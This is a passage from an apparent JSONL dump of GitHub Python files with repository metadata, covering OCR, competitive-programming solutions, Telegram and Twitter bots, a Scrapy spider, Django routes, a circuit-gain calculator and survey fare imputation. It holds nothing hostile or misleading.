decision[0]\r\n","repo_name":"radinshayanfar/speaker-verification","sub_path":"verification.py","file_name":"verification.py","file_ext":"py","file_size_in_byte":3891,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"62"} +{"seq_id":"33224530571","text":"import pdftotext\nimport pytesseract\nimport pdf2image\nimport tempfile\nimport os\nfrom PIL import Image\nfrom .models import *\n\ndef processPDF(pdfFile):\n\n ocrTextExraction(pdfFile)\n\n\n return None\n\ndef ocrTextExraction(f):\n\n\n\n print(f.name)\n\n\n tempTextDir = tempfile.TemporaryDirectory\n page_counter = 0\n filepages = PageAnnotation.objects.filter(pdf_id=f.id)\n print(filepages,len(filepages))\n if len(filepages) == 0:\n path = f.filepath\n folder = \"/Users/jeff/PycharmProjects/SAAnnotator/upload/texts_\" + str(f.id) + \"/\"\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n print(\"Converting PDF to image...\")\n print(\"path: \" + str(path))\n pages = pdf2image.convert_from_path(path, 500)\n print(len(pages))\n\n tempImageDir = tempfile.TemporaryDirectory\n print(\"Temp directory after change:\", tempfile.gettempdir())\n\n for page in pages:\n page_counter = page_counter + 1\n\n imageFilename = str(tempImageDir) +\"page_\" + str(page_counter).zfill(3) + \".jpg\"\n page.save(imageFilename,'JPEG')\n\n textFileName = str(folder) +\"text_page_\" + str(page_counter).zfill(3) +\"_\"+str(f.id)+ \".txt\"\n if not os.path.exists(textFileName):\n tf = open(textFileName,'w')\n text= str(((pytesseract.image_to_string(Image.open(imageFilename)))))\n print(\"text\",text)\n tf.write(text)\n tf.close()\n\n\n\n f.nbrOfPages = page_counter\n f.textfolder= folder\n f.save()\n\n\n\n return None","repo_name":"jeff2018/SemiAutomaticAnnotator","sub_path":"annotator/analysePDF.py","file_name":"analysePDF.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28950725727","text":"import sys\r\ninput =sys.stdin.readline\r\nn = int(input())\r\nx_li = list(map(int, input().split()))\r\n# x_li = '2 4 -10 4 -9'.split()\r\n# x_li = '1000 999 1000 999 1000 999'.split()\r\nx_sort = list(set(x_li))\r\nx_sort.sort()\r\n\r\nnum_dict= {}\r\nfor i in range(len(x_sort)):\r\n num_dict[x_sort[i]] = i \r\nfor i in x_li:\r\n print(num_dict[i], end = ' ')","repo_name":"dablro12/baekjoon","sub_path":"백준/Silver/18870. 좌표 압축/좌표 압축.py","file_name":"좌표 압축.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10077249943","text":"def PRINT(A, B, ground):\n for i in range(B, 0, -1):\n print(ground[i][1:])\n\nDIR = {\n 'N': 0,\n 'E': 1,\n 'S': 2,\n 'W': 3,\n 0: 'N',\n 1: 'E',\n 2: 'S',\n 3: 'W',\n }\n\ndef run(robots, ground, robot, command, repeat, A, B):\n if command == 'L':\n robots[robot][2] = DIR[(DIR[robots[robot][2]] - repeat) % 4]\n return False\n elif command == 'R':\n robots[robot][2] = DIR[(DIR[robots[robot][2]] + repeat) % 4]\n return False\n else: # \"F\"\n if robots[robot][2] == 'N':\n direction = (1, 0)\n elif robots[robot][2] == 'E':\n direction = (0, 1)\n elif robots[robot][2] == 'S':\n direction = (-1, 0)\n elif robots[robot][2] == 'W':\n direction = (0, -1)\n for i in range(repeat):\n pos = (robots[robot][0], robots[robot][1])\n nextPos = (pos[0] + direction[0], pos[1] + direction[1])\n if nextPos[0] <= 0 or nextPos[0] > B or nextPos[1] <= 0 or nextPos[1] > A:\n return [robot]\n if ground[nextPos[0]][nextPos[1]]:\n return [robot, ground[nextPos[0]][nextPos[1]]]\n ground[nextPos[0]][nextPos[1]] = robot \n ground[pos[0]][pos[1]] = 0\n robots[robot][0] += direction[0]\n robots[robot][1] += direction[1]\n\nif __name__ == \"__main__\":\n A, B = map(int, input().split())\n N, M = map(int, input().split())\n\n ground = [[0] * (A + 1) for i in range(B + 1)]\n \n robots = [0]\n for i in range(1, N+1):\n col, row, dir = input().split()\n col, row = int(col), int(row)\n ground[row][col] = i\n robots.append([row, col, dir])\n commands = []\n for i in range(M):\n robot, command, repeat = input().split()\n commands.append([int(robot), command, int(repeat)])\n \n # PRINT(A, B, ground)\n # print('r', robots)\n # print('r', commands)\n\n for robot, command, repeat in commands:\n result = run(robots, ground, robot, command, repeat, A, B)\n if result:\n if len(result) == 1:\n print(\"Robot\", result[0], \"crashes into the wall\")\n else:\n print(\"Robot\", result[0], \"crashes into robot\", result[1])\n break\n # print()\n # PRINT(A, B, ground)\n # print()\n else:\n print(\"OK\")\n \n # print(robots)\n # print(commands)\n # PRINT(A, B, ground)","repo_name":"chacham/learn-algorithm","sub_path":"acmicpc.net/2174/2174.py","file_name":"2174.py","file_ext":"py","file_size_in_byte":2440,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22790631200","text":"# 🚨 Don't change the code below 👇\nprint(\"Welcome to the Love Calculator!\")\nname1 = input(\"What is your name? \\n\")\nname2 = input(\"What is their name? \\n\")\n# 🚨 Don't change the code above 👆\n\n#Write your code below this line 👇\n\nname = name1.lower() + name2.lower()\ncount_true = 0\ncount_love = 0\n\ncount_true += name.count('t')\ncount_true += name.count('r')\ncount_true += name.count('u')\ncount_true += name.count('e')\n\n\ncount_love += name.count('l')\ncount_love += name.count('o')\ncount_love += name.count('v')\ncount_love += name.count('e')\n\ncount = str(count_true) + str(count_love)\n\ntotal = int(count)\n\nif(total < 10 or total > 90):\n print(f\"Your score is {total}, you go together like coke and mentos.\")\nelif(total >= 40 and total <=50):\n print(f\"Your score is {total}, you are alright together.\")\nelse:\n print(f\"Your score is {total}.\")","repo_name":"pavitra93/python101","sub_path":"Day 3/day-3.9-love-calculator.py","file_name":"day-3.9-love-calculator.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1156725910","text":"from app import models, LEVELS, QUESTIONNAIRES\n\nfrom sqlalchemy import func, cast, String\n\ndb = models.db\n\ndef get_shared_message_count():\n return db.session.query(func.count(\n models.SharedMessageEvent.id\n )).scalar()\n\ndef get_skill_count(skill_level):\n return db.session.query(\n func.count(models.UserSkill.id)\n ).filter(models.UserSkill.level == skill_level).scalar()\n\ndef get_total_questions_answered():\n return db.session.query(func.count(models.UserSkill.id)).scalar()\n\ndef get_skill_counts():\n return {\n \"learn\": get_skill_count(LEVELS['LEVEL_I_WANT_TO_LEARN']['score']),\n \"explain\": get_skill_count(LEVELS['LEVEL_I_CAN_EXPLAIN']['score']),\n \"connect\": get_skill_count(LEVELS['LEVEL_I_CAN_REFER']['score']),\n \"do\": get_skill_count(LEVELS['LEVEL_I_CAN_DO_IT']['score'])\n }\n\ndef get_countries():\n count = func.count(models.User.id)\n query = db.session.query(models.User.country, count).\\\n group_by(models.User.country).\\\n order_by(count.desc()).\\\n all()\n return [\n (\"%s (%s)\" % (item[0].name, item[0].code), item[1])\n for item in query if item[0] is not None\n ]\n\ndef get_total_unique_skills():\n return db.session.query(func.count(\n func.distinct(cast(models.UserSkill.level, String) + '-' +\n cast(models.UserSkill.name, String))\n )).\\\n filter(models.UserSkill.level != \\\n LEVELS['LEVEL_I_WANT_TO_LEARN']['score']).scalar()\n\ndef get_avg_num_questions_answered():\n answers_per_user = db.session.query(\n func.count(models.UserSkill.id).label('num_answers')\n ).filter(models.User.id == models.UserSkill.user_id).\\\n group_by(models.User)\n\n return float(db.session.query(\n func.avg(answers_per_user.subquery().columns.num_answers)\n ).scalar() or 0)\n\ndef get_questionnaire_counts():\n counts = {}\n for questionnaire in QUESTIONNAIRES:\n if not questionnaire['questions']: continue\n qid = questionnaire['id']\n counts[qid] = {}\n query = db.session.query(\n models.UserSkill.level,\n func.count(models.UserSkill.id)\n ).filter(models.UserSkill.name.like(qid + \"_%\")).\\\n group_by(models.UserSkill.level)\n raw_counts = dict(query.all())\n counts[qid].update(models.scores_to_skills(raw_counts))\n return counts\n\ndef get_questionnaire_counts_by_country(country):\n counts = {}\n for questionnaire in QUESTIONNAIRES:\n if not questionnaire['questions']: continue\n qid = questionnaire['id']\n counts[qid] = {}\n query = db.session.query(\n models.UserSkill.level,\n func.count(models.UserSkill.id)\n ).filter(models.UserSkill.name.like(qid + \"_%\")).\\\n group_by(models.UserSkill.level)\n raw_counts = dict(query.all())\n counts[qid].update(models.scores_to_skills(raw_counts))\n return counts\n\ndef generate():\n return {\n \"users\": db.session.query(func.count(models.User.id)).scalar(),\n \"connections\": models.ConnectionEvent.connections_in_deployment(),\n \"messages\": get_shared_message_count(),\n \"countries\": get_countries(),\n \"total_unique_skills\": get_total_unique_skills(),\n \"avg_num_questions_answered\": get_avg_num_questions_answered(),\n \"total_questions_answered\": get_total_questions_answered(),\n \"questionnaire_counts\": get_questionnaire_counts(),\n \"skill_counts\": get_skill_counts()\n }\n","repo_name":"GovLab/noi2","sub_path":"app/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":3500,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"6862444487","text":"import heapq\nclass Solution:\n def thirdMax(self, nums: List[int]) -> int:\n nums = list(set(nums))\n if len(nums) <= 2:\n return max(nums)\n heap = []\n \n for i in nums:\n heap.append(-1 * i)\n heapq.heapify(heap)\n \n for i in range(2):\n heapq.heappop(heap)\n \n return -1*heap[0]","repo_name":"FII78/DS-Algo","sub_path":"0414-third-maximum-number/0414-third-maximum-number.py","file_name":"0414-third-maximum-number.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2938786280","text":"import telebot\nfrom config import *\nfrom extensions import *\n\nprint('Bot connected')\n\nbot = telebot.TeleBot(TOKEN)\n\n@bot.message_handler(commands=['start', 'help'])\ndef help(message: telebot.types.Message):\n text = 'Hello! To start the bot, please enter the command in the following format: \\n \\\n \\\n \\\n<(e.g. dollar ruble 1)>\\nTo see a list of all available currencies, please enter the following command: /values'\n bot.reply_to(message, text)\n\n@bot.message_handler(commands=['values'])\ndef values(message: telebot.types.Message):\n text = 'The following available currencies:'\n for key in keys.keys():\n text = '\\n'.join((text, key, ))\n bot.reply_to(message, text)\n\n@bot.message_handler(content_types=['text', ])\ndef get_price(message: telebot.types.Message):\n \n try:\n values = message.text.split(' ')\n if len(values) != 3:\n raise ConvertionException('There is to many parametres.')\n quote, base, amount = values\n total_base = CryptoConverter.get_price(quote, base, amount)\n \n except ConvertionException as e:\n bot.reply_to(message, f'User error.\\n{e}')\n except Exception as e:\n bot.reply_to(message, f'It is impossible to process the command.\\n{e}')\n else:\n text = f'Price {amount} {quote} in {base} - {total_base}'\n bot.send_message(message.chat.id, text)\n\nbot.polling()\n\nprint('Bot disconnected ')\n\n\n","repo_name":"salminam/CryptoBitcoin","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5239570254","text":"T = int(input())\r\nfor _ in range(T):\r\n N, K = input().split(\" \")\r\n N = int(N)\r\n K = int(K)\r\n\r\n\r\n def number_of_non_zeros(a):\r\n zeros = 0\r\n for i in a:\r\n if i != 0:\r\n zeros += 1\r\n return zeros\r\n\r\n\r\n def last_number(a):\r\n for i in a:\r\n if i != 0:\r\n return i\r\n\r\n\r\n a = []\r\n for i in range(N):\r\n a.append(i+1)\r\n\r\n i = 0\r\n while number_of_non_zeros(a) > 1:\r\n a[i] = 0\r\n i = (i+K) % N\r\n\r\n number = last_number(a)\r\n\r\n if number%2==0:\r\n print(\"EVEN\")\r\n else:\r\n print(\"ODD\")","repo_name":"MrMikaelson/Codechef","sub_path":"ispar.py","file_name":"ispar.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"69955097477","text":"# command to run is: scrapy crawl GSK_board -o GSK_board.csv\n\n\n\"\"\"\n\nManual parsing of gsk.com & archived versions of gsk.com from web.archive.org\n\nIssues:\n\n- Historical data extraction completely dependent on web.archive.org, if URLs change the whole extraction will break\n- New parser has to be defined every time website html changes\n- Extraction is manual, html has to be inspected to define parse function\n\n\"\"\"\n\n# imports\nimport scrapy\nfrom ..items import Board\nimport datetime\n\nclass GSK_board(scrapy.Spider):\n name = 'GSK_board'\n\n # define URLs\n allowed_domains = ['www.gsk.com/']\n\n # define URLs and parsing method\n def start_requests(self):\n # current site\n yield scrapy.Request('https://www.gsk.com/en-gb/about-us/corporate-executive-team/',self.parse_current)\n\n # archived sites\n yield scrapy.Request('https://web.archive.org/web/20161120073949/http://www.gsk.com/en-gb/about-us/corporate-executive-team',self.parse_2016_current)\n yield scrapy.Request('https://web.archive.org/web/20140703075605/http://www.gsk.com/about-us/corporate-executive-team.html',self.parse_2014_2016)\n\n\n\n def create_board(self, name, title, year):\n\n # create item for export\n item = Board()\n\n # asign fields\n item['company'] = 'GSK'\n item['title'] = title\n item['year'] = year\n item['name'] = name\n \n return item\n\n # parse the current GSK board\n def parse_current(self, response):\n # define selector that contains all items\n all_people = response.css(\"li.grid-listing__item\")\n print(all_people)\n # iterate through items\n for person in all_people:\n # manually parse name\n name = person.css(\"a>div>h2::text\").get()\n # manually parse title\n title = person.css(\"a>div>p::text\").get()\n\n now = datetime.datetime.now()\n year = now.year\n\n # Return item\n yield self.create_board(name,title,year)\n\n # parse the board from 2015-2018\n def parse_2016_current(self, response):\n # define selector that contains all items\n all_people = response.css(\"article.listing-item.with-image\")\n\n # iterate through items\n for person in all_people:\n # manually parse name\n name = person.css(\"h3>a::text\").get()\n # manually parse title\n title = person.css(\"p::text\").get()\n\n # find the year from the crawled URL\n url = response.request.url\n date_info = url.split(\"/\")[4]\n year = date_info[:4]\n\n # Return item\n yield self.create_board(name,title,year)\n\n # parse the board from 2013-2014\n def parse_2014_2016(self, response):\n # define selector that contains all items\n all_people = response.css(\"a.titleLink.textDecorateNone\")\n\n # iterate through items\n for person in all_people:\n # manually parse name\n name = person.css(\"h2>span.textDecorateNone::text\").getall()[0]\n print(name)\n # manually parse title\n title = person.css(\"h2>span.textDecorateNone::text\").getall()[1]\n\n # find the year from the crawled URL\n url = response.request.url\n date_info = url.split(\"/\")[4]\n year = date_info[:4]\n\n # Return item\n yield self.create_board(name,title,year)\n","repo_name":"jakobtorben/Intelligent-public-web-data-extraction","sub_path":"ManWebScraper/ManWebScraper/spiders/GSK.py","file_name":"GSK.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"41253177274","text":"# -*- coding: utf-8 -*-\n\n\ndef calc_score(s):\n count = [0 for _ in range(10)]\n score = 0\n\n for si in s:\n count[int(si)] += 1\n\n for num, c in enumerate(count):\n score += num * (10 ** c)\n\n return score\n\n\ndef main():\n k = int(input())\n s = input()\n t = input()\n numbers = [k for _ in range(10)]\n\n for si, ti in zip(s[:-1], t[:-1]):\n numbers[int(si)] -= 1\n numbers[int(ti)] -= 1\n\n count = 0\n\n for i in range(1, 10):\n for j in range(1, 10):\n t_score = calc_score(s[:-1] + str(i))\n a_score = calc_score(t[:-1] + str(j))\n\n if t_score > a_score:\n if i != j:\n count += numbers[i] * numbers[j]\n else:\n count += numbers[i] * (numbers[j] - 1)\n\n c = k * 9 - 8\n total_pattern = c * (c - 1)\n print(count / total_pattern)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"ABC/abc151-abc200/abc193/d/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"46337217923","text":"import time, tweepy\nfrom os import environ\nfrom linereader import copen\n\nfrom random import randint\n\n\nCONSUMER_KEY = environ['CONSUMER_KEY']\nCONSUMER_SECRET = environ['CONSUMER_SECRET']\nACCESS_KEY = environ['ACCESS_KEY']\nACCESS_SECRET = environ['ACCESS_SECRET']\n\nauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\nauth.set_access_token(ACCESS_KEY, ACCESS_SECRET)\napi = tweepy.API(auth)\n\nlyrics = copen('cocteaus.txt')\nlines = lyrics.count('|')\n\n# me = api.user_timeline(\"cocteau_bot\", 20)\n# print me[0].text\n\nwhile True:\n\tline = randint(1, lines)\n\tif line == 0:\n\t\tline = randint(1, lines)\n\ttweet = lyrics.getline(line)\n\twhile len(tweet) < 140:\n\t\tline+=1\n\t\tif \"~\" not in lyrics.getline(line):\n\t\t\ttweet = tweet + lyrics.getline(line)\n\t\telse:\n\t\t\tbreak\n\n\tif len(tweet) <= 140 and tweet != '\\n' :\n\t\ttweet = tweet.replace(\"|\", '')\n\t\tprint(tweet)\n\t\tapi.update_status(tweet)\n\t\ttime.sleep(60 * 60 * 12)\n","repo_name":"purplesands/cocteau_bot","sub_path":"tweets.py","file_name":"tweets.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"10662868326","text":"from django.contrib import admin\nfrom django import views\n# from django.contrib import admin\nfrom django.urls import path, include\n# from apps.report.views import report # add this\n\nurlpatterns = [\n # admin.site.site_header = 'My project' # default: \"Django Administration\"\n # admin.site.index_title = 'Features area' # default: \"Site administration\"\n # admin.site.site_title = 'HTML title from adminsitration' # default: \"Django site admin\"\n path('admin/', admin.site.urls), # Django admin route\n path(\"\", include(\"apps.authentication.urls\")), # Auth routes - login / register\n path(\"\", include(\"apps.home.urls\")), # UI Kits Html files\n # path(\"report\",apps.report.views.repor),\n]\n\n\nadmin.site.site_header = 'Log Intelligence Management Administrator' # default: \"Django Administration\"\nadmin.site.index_title = 'Features area' # default: \"Site administration\"\nadmin.site.site_title = 'HTML title from adminsitration' # default: \"Django site admin\"","repo_name":"freedom357/Finalproject","sub_path":"core/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11884330241","text":"from syslog import LOG_LOCAL0\nfrom PIL import Image,ImageTk\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n##### LOCAL VARIABLES ####\nRstar = 100000 #Ohms\nGigaR = 1000000000 #Ohms\nMegaR = 1000000 #Ohms\nKiloR = 1000 #Ohms\nRegaR = 1 #Ohms\nRn = 9 # Number of resistors\n##### LOCAL VARIABLES ####\n\n##### MAIN CODE: OUTPUT ####\n# User inputs the desired mid gain/gain range\nAmid = input(\"Enter the desired mid gain: \")\ndA = input(\"Enter the desired gain range: \")\n\n# Convert user input into a float number\nAmid = float(Amid)\ndA = float(dA)\n\n# Error code for nonsense inputs\nif Amid < 0 or dA < 0:\n print(\"Invalid Input\")\n quit()\n\n# Calculate min and max gain\nAmin = Amid - dA/2\nAmax = Amid + dA/2\n\n# Calculating the resistor values\nR = [0]*Rn\nR[0] = Rstar/(Amin - 1)\nR[1] = 255*Rstar/(Amax - Amin)\nfor i in range(2,len(R)):\n R[i] = R[1]/(2**(i-1))\n\n# Array to store the units for the resistor\nunit = [0]*Rn\n\n# Output in the most convenient unit\nfor i,resistor in enumerate(R):\n if resistor > GigaR:\n print(\"Resistor required larger than 1 GigaOhm\")\n quit()\n elif resistor > MegaR:\n resistor = resistor/1000000\n print(\n (\"Resistor \" + \n str(i)) + \n \" is {:.6f} MOhms.\".format(resistor)\n )\n unit[i] = 3\n elif resistor > KiloR:\n resistor = resistor/1000\n print((\"Resistor \" + str(i)) + \" is {:.3f} kOhms.\".format(resistor))\n unit[i] = 2\n elif resistor > RegaR:\n print((\"Resistor \" + str(i)) + \" is {:.0f} Ohms.\".format(resistor))\n unit[i] = 1\n else:\n print(\"Resistor required smaller than 1 Ohm\")\n quit()\n\n##### MAIN CODE: INPUT TO PLOT ####\n\n# Acquire the actual resistor values\nRu = [0]*Rn\ny = [0]*256\nfor i in range(len(Ru)):\n if unit[i] == 3:\n Ru[i] = input(\"What is the value of resistor \" + str(i) +\" in MOhms?\")\n Ru[i] = float(Ru[i])*1000000\n elif unit[i] == 2:\n Ru[i] = input(\"What is the value of resistor \" + str(i) +\" in kOhms?\")\n Ru[i] = float(Ru[i])*1000\n elif unit[i] == 1:\n Ru[i] = input(\"What is the value of resistor \" + str(i) +\" in Ohms?\")\n Ru[i] = float(Ru[i])\n\n# Calculating the gain for all settings\nfor i in range(256):\n Rstar = 100000\n # Variable to store sums\n intg = 0\n # Converting gain setting to binary\n ib = bin(i)\n # Separate binary number to all its digits\n result = list(str(ib))\n # Add in 0's for binary numbers with fewer than 8 digits\n while len(result) < 10:\n result.insert(2,0)\n # Sum up the reciprocal of the resistor values for the resistors turned on for a particular setting\n for n in range(len(Ru)):\n # First resistor is always on\n if n == 0:\n intg = intg + 1/Ru[n]\n # Variable resistors on or off\n elif int(result[10-n]) == 1: \n intg = intg + 1/(Ru[n])\n # Calculating the equivalent resistance of the circuit\n RGu = 1/intg\n # Calculating the gain\n y[i] = 1+(Rstar/RGu)\n\n# Plotting the gain vs gain setting\nplt.figure(1)\nplt.plot(range(256),y)\nplt.xlabel('Gain Setting')\nplt.ylabel('Gain')\nplt.title('Gain vs Gain Setting')\nplt.show()\n","repo_name":"SunDevilRocketry/Liquid-Engine-Controller","sub_path":"sim/Gain.py","file_name":"Gain.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"44577608316","text":"#!/usr/bin/python3\nimport algo2\nimport matrix\nimport graph\ndef normal_erdo(graph_util,i):\n if (graph_util.deg(i) DataFrame:\n \"\"\"\n Author : James Burr\n Date : 19 Feb 2018\n Purpose : Imputes fares for the IPS system.\n Parameters : df_input - the IPS survey dataset.\n var_serial - the serial number field name\n num_levels - number of imputation levels\n measure - measure function, such as mean\n Returns : Dataframe - df_output_final\n Requirements : NA\n Dependencies : NA\n \"\"\"\n\n df_eligible = df_input.loc[df_input[ELIGIBLE_FLAG_VARIABLE] == 1.0]\n\n # Perform the imputation on eligible dataset\n df_output = ips_impute.ips_impute(df_eligible, var_serial,\n STRATA_BASE_LIST, THRESH_BASE_LIST,\n num_levels, DONOR_VARIABLE, OUTPUT_VARIABLE,\n measure, IMPUTATION_FLAG_VARIABLE,\n IMPUTATION_LEVEL_VARIABLE)\n\n # Merge df_output_final and df_input by var_serial_num\n df_output.sort_values(var_serial, inplace=True)\n\n df_input.sort_values(var_serial, inplace=True)\n\n # df_output = df_input.merge(df_output, on=var_serial, how='left')\n df_output = df_input.merge(df_output, how='left', left_on=var_serial, right_on=var_serial)\n\n # Above merge creates fares_x and fares_y column; this line removes the empty\n # fares_x column and keeps then renames the imputed fares_y column \n df_output = df_output.drop([OUTPUT_VARIABLE + '_x', IMPUTATION_LEVEL_VARIABLE + '_x'], axis=1)\n\n df_output.rename(index=str, columns={OUTPUT_VARIABLE + '_y': OUTPUT_VARIABLE,\n IMPUTATION_LEVEL_VARIABLE + '_y': IMPUTATION_LEVEL_VARIABLE},\n inplace=True)\n\n # Re-sort columns by column name in alphabetical order (may not be required)\n df_output.sort_index(axis=1, inplace=True)\n\n df_output = df_output.apply(compute_additional_fares, axis=1)\n df_output = df_output.apply(compute_additional_spend, axis=1)\n\n final_output_column_list = [var_serial, SPEND_VARIABLE, SPEND_REASON_KEY_VARIABLE, OUTPUT_VARIABLE,\n IMPUTATION_LEVEL_VARIABLE]\n\n df_output = df_output[final_output_column_list]\n\n return df_output\n\n\ndef compute_additional_fares(row: Series):\n \"\"\"\n Author : James Burr\n Date : 13 March 2018\n Purpose : Computes spend based on fares data and updates output dataframe.\n Parameters : Each individal row of the df_output data frame.\n Returns : The same row with extra calculations/edits applied.\n Requirements : NA\n Dependencies : NA\n \"\"\"\n\n # Force the variable formatting to 8digit date\n\n row[DATE_VARIABLE] = str(row[DATE_VARIABLE])\n row[DATE_VARIABLE] = row[DATE_VARIABLE].zfill(8)\n\n non_pack_fare = np.NaN\n\n # Sort out child/baby fares\n if row[IMPUTATION_FLAG_VARIABLE] == 0 or row[ELIGIBLE_FLAG_VARIABLE] == 0:\n row[OUTPUT_VARIABLE] = row[DONOR_VARIABLE]\n\n else:\n\n # Separate intdate column into usable integer values.\n day = int(row[DATE_VARIABLE][:2])\n month = int(row[DATE_VARIABLE][2:4])\n year = int(row[DATE_VARIABLE][4:8])\n\n # Ensure date is on or later than the 1st of May 2016\n # This is because APD for under 16's was removed from this date.\n if year >= 2016 and month >= 5 and day >= 1:\n if row[AGE_FARE_VARIABLE] == 1:\n non_pack_fare = row[BABY_FARE_VARIABLE] * (row[OUTPUT_VARIABLE] - row[APD_VARIABLE])\n\n elif row[AGE_FARE_VARIABLE] == 2:\n non_pack_fare = row[CHILD_FARE_VARIABLE] * (row[OUTPUT_VARIABLE] - row[APD_VARIABLE])\n\n elif row[AGE_FARE_VARIABLE] == 6:\n non_pack_fare = row[OUTPUT_VARIABLE]\n\n else:\n if row[AGE_FARE_VARIABLE] == 1:\n non_pack_fare = row[BABY_FARE_VARIABLE] * (row[OUTPUT_VARIABLE] - row[APD_VARIABLE])\n\n elif row[AGE_FARE_VARIABLE] == 2:\n non_pack_fare = (row[CHILD_FARE_VARIABLE] * (row[OUTPUT_VARIABLE] - row[APD_VARIABLE])) + \\\n row[APD_VARIABLE]\n\n elif row[AGE_FARE_VARIABLE] == 6:\n non_pack_fare = row[OUTPUT_VARIABLE]\n\n # Compute package versions of fare\n if row[PACKAGE_VARIABLE] in (1, 2):\n if math.isnan(non_pack_fare) or math.isnan(row[FARE_DISCOUNT_VARIABLE]):\n row[OUTPUT_VARIABLE] = np.NaN\n else:\n row[OUTPUT_VARIABLE] = round(non_pack_fare * row[FARE_DISCOUNT_VARIABLE])\n\n else:\n row[OUTPUT_VARIABLE] = round(non_pack_fare, 0)\n\n # Test for Queen Mary fare\n if row[OUTPUT_VARIABLE] == np.nan and row[QM_FARE_VARIABLE] != np.nan:\n row[OUTPUT_VARIABLE] = row[QM_FARE_VARIABLE]\n\n # Ensure the fare is rounded to nearest integer\n row[OUTPUT_VARIABLE] = round(row[OUTPUT_VARIABLE], 0)\n\n return row\n\n\ndef compute_additional_spend(row):\n # Compute spend per person per visit\n # For package holidays, spend is imputed if the package cost is less\n # than the cost of the fares. If all relevant fields are 0, participant\n # is assumed to have spent no money.\n if row[PACKAGE_VARIABLE] == 1:\n if not row['DISCNT_PACKAGE_COST_PV']:\n row['DISCNT_PACKAGE_COST_PV'] = np.NaN\n\n if row[PACKAGE_COST_VARIABLE] == 0 and row[EXPENDITURE_VARIABLE] == 0 and row[BEFAF_VARIABLE] == 0:\n row[SPEND_VARIABLE] = 0\n\n elif (row[PACKAGE_COST_VARIABLE] == 999999 or row[PACKAGE_COST_VARIABLE] == np.nan\n or row[DISCOUNTED_PACKAGE_COST_VARIABLE] == np.nan\n or row[PERSONS_VARIABLE] == np.nan\n or row[OUTPUT_VARIABLE] == np.nan\n or row[EXPENDITURE_VARIABLE] == 999999\n or row[EXPENDITURE_VARIABLE] == np.nan\n or row[BEFAF_VARIABLE] == np.nan\n or row[BEFAF_VARIABLE] == 999999):\n row[SPEND_VARIABLE] = np.nan\n\n elif (((row[DISCOUNTED_PACKAGE_COST_VARIABLE] + row[EXPENDITURE_VARIABLE] +\n row[BEFAF_VARIABLE]) / row[PERSONS_VARIABLE]) < (row[OUTPUT_VARIABLE] * 2)):\n print(row['SERIAL'])\n row[SPEND_VARIABLE] = np.nan\n row[SPEND_REASON_KEY_VARIABLE] = 1\n\n else:\n row[SPEND_VARIABLE] = ((row[DISCOUNTED_PACKAGE_COST_VARIABLE] + row[EXPENDITURE_VARIABLE]\n + row[BEFAF_VARIABLE]) / row[PERSONS_VARIABLE]) - (row[OUTPUT_VARIABLE] - 2)\n\n # DVPackage is 0\n else:\n if row[OLD_PACKAGE_VARIABLE] == 9:\n row[SPEND_VARIABLE] = np.nan\n\n elif row[EXPENDITURE_VARIABLE] == 0 and row[BEFAF_VARIABLE] == 0:\n row[SPEND_VARIABLE] = 0\n\n elif row[EXPENDITURE_VARIABLE] == 999999 or row[EXPENDITURE_VARIABLE] == np.nan \\\n or row[BEFAF_VARIABLE] == 999999 or row[BEFAF_VARIABLE] == np.nan \\\n or row[PERSONS_VARIABLE] == np.nan:\n row[SPEND_VARIABLE] = np.nan\n\n else:\n row[SPEND_VARIABLE] = (row[EXPENDITURE_VARIABLE] + row[BEFAF_VARIABLE]) / row[PERSONS_VARIABLE]\n\n if row[SPEND_VARIABLE] != np.nan:\n row[SPEND_VARIABLE] = row[SPEND_VARIABLE] + row[DUTY_FREE_VARIABLE]\n\n # Ensure the spend values are integers\n row[SPEND_VARIABLE] = round(row[SPEND_VARIABLE], 0)\n\n return row\n\n","repo_name":"martyncolmer/ips_legacy_uplift","sub_path":"ips/calculations/calculate_ips_fares_imputation.py","file_name":"calculate_ips_fares_imputation.py","file_ext":"py","file_size_in_byte":9233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16501599407","text":"#!/usr/bin/env python\n\nfrom setuptools import setup\nimport re\nimport os\nimport sys\n\n\ndef get_packages(package):\n return [dirpath\n for dirpath, dirnames, filenames in os.walk(package)\n if os.path.exists(os.path.join(dirpath, '__init__.py'))]\n\n\ndef get_package_data(package):\n walk 